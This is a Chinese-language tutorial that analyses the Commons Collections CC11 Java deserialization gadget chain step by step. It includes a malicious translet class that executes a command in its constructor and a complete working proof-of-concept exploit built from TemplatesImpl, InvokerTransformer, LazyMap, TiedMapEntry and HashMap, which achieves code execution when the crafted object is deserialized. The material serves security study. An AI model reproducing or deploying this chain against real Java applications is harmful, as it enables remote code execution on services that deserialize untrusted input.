背景

该链是CC2和CC6的结合体,CC11使用了CC2动态加载字节码执行命令的方法,使用了CC6的前半部分,把它们不使用数组与字节码执行命令的优点给结合起来了。

CC11链分析

该链受影响的版本为CommonsCollections 3.1-3.2.1,关于环境的搭建,可以看我之前CC1中的教程。

分析该链之前,再重新介绍一下TelplatesIpl加载字节码执行命令。

链尾TelplatesIpl加载字节码

详情可以到CC3那篇看,这里只做简要介绍。

构造字节码的代码如下,把它编译为.Class后用后面提到到TemplatesImpl加载这个恶意的字节码就可以了。

1
2
3
4
5
6
7
8
public class TemplatesImplTest extends AbstractTranslet {  
public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{}
public TemplatesImplTest() throws IOException {
super();
Runtime.getRuntime().exec("calc");
}
}

再回顾一下loadClass()findClass()defineClass()三个方法

ClassLoader#loadClass->ClassLoader#findClass->ClassLoader#defineClass

  • loadClass​​:类加载的入口点,遵循双亲委派模型,先尝试让父类加载器加载类,如果失败则调用 findClass。
  • ​findClass​​:负责定位并读取类的字节码,然后调用 defineClass
  • ​defineClass​​:它负责将原始的字节码(通常是来自 .class文件的字节数组)转换成 JVM 能够识别和使用的 Class 对象。

defineClass()​可以用来加载我们构造好的恶意字节码,Classloader#defineClass()方法在类中作用域是protected,而TemplatesIpl类中它的作用域是default,更容易利用。

然后往前找找一个完整能够加载字节码的利用链,CC3已经分析过了,这里我重新介绍一下。
分析如下:
右键defineClass查找用法,找到defineTransletClasses()

跳转到defineTransletClasses(),继续查找用法,找到了getTransletInstance()

同时发现defineTransletClasses()方法中_bytecodes_tfactory不能为空,需要设置值。

跟进_tfactory看到,为了不让它为空后续给它new一个TransformerFactoryImpl

1
private transient TransformerFactoryImpl _tfactory = null;

跳转到getTransletInstance(),查找用法,找到 newTransformer()

name不能为空否则返回null

跳转到newTransformer(),发现作用域为public,可以直接调用。

这样就找到了完整加载字节码的利用链

加载字节码的POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class RunTemplatesImplTest {  
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class"));
final TemplatesImpl templates = new TemplatesImpl();
//给变量设置值
Setvalue(templates,"_name","jjxxx");
Setvalue(templates,"_bytecodes",new byte[][]{bytes});
Setvalue(templates,"_tfactory",new TransformerFactoryImpl());
//调用链头
templates.newTransformer();

}
//给变量设置值的方法
public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException {
final Field field = classname.getClass().getDeclaredField(valuename);
field.setAccessible(true);
field.set(classname,value);
}
}

成功弹出计算器说明能够成功执行命令

InvokerTransformer

上方把加载字节码执行命令的尾部已经写完了。

可以注意到前面的POC是我们主动调用的newTransformer(),我们需要找到一个能够调用newTransformer()的类

1
2
//调用链头  
templates.newTransformer();

InvokerTransformer#transform()正合适,直接使用该类调用它。

1
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

接着就需要找谁可以调用到transform()方法,上半部分就和CC6相同了,直接使用LazyMap()#get()调用它的transform()

LazyMap

跟进看一下

可以看到这里调用了factory.transform(),符合我们的要求。

此时,LazyMap作用域是protected,不能直接实例化,但是可以看到上方的一个静态方法可以返回一个LazyMap,因此用它来调用LazMap

代码如下

1
2
HashMap<Object, Object> hashMap = new HashMap<>();     
Map lazyMap = LazyMap.decorate(hashMap,invokerTransformer);

但是前几篇已经说过了,为了防止序列化时弹出计算器导致无法构造完整利用链,应该先把它改为其他的。

改完如下:

1
2
HashMap<Object, Object> hashMap = new HashMap<>();     
Map lazyMap = LazyMap.decorate(hashMap,new ConstantTransformer(1));

接下来就继续需要找能够调用get()方法的类

TiedMapEntry

其中TiedMapEntry#getValue()能够调用get()方法

继续往前找谁可以调用getValue()

还是该类,它的hashCode()方法可以调用getValue()方法

能够调用hashCode()方法的,在CC6已经介绍过,HashMap类可以调用该方法

HashMap

看一下CC6的流程图,在跟进看一眼

这个类我们直接正着分析

在readObject()方法中调用了putVal(hash(key))

在跟进一下里面的hash(),看到它又调用了hashCode()方法,此时这条链完美串联了。

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package classloader;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11Test {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, TransformerConfigurationException, ClassNotFoundException {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class"));
final TemplatesImpl templates = new TemplatesImpl();
//给变量设置值
Setvalue(templates,"_name","jjxxx");
Setvalue(templates,"_bytecodes",new byte[][]{bytes});
Setvalue(templates,"_tfactory",new TransformerFactoryImpl());
//调用链头
// templates.newTransformer();

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

HashMap hashmap = new HashMap();
Map lazyMap = LazyMap.decorate(hashmap,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> hashmap1 = new HashMap<>();
hashmap1.put(tiedMapEntry,null);
lazyMap.remove(templates);


// 在 put 之后通过反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,invokerTransformer);

// serialize(hashmap1);
unserialize("2.bin");


}
//给变量设置值的方法
public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException {
final Field field = classname.getClass().getDeclaredField(valuename);
field.setAccessible(true);
field.set(classname,value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

成功执行命令

问题解决

至于为什么代码中会多了一行

1
lazyMap.remove(templates); 

我理解的原因是当反序列化时,templates被TiedMapEntry当个key传入,调用到LazyMap时,如果不删除它,就无法过这个if条件,从而反序列化失败。

流程图

总流程图就不画了,用的类都是相同的

总结

CC11链还是很简单的,它只是CC6和CC2的结合,很好理解。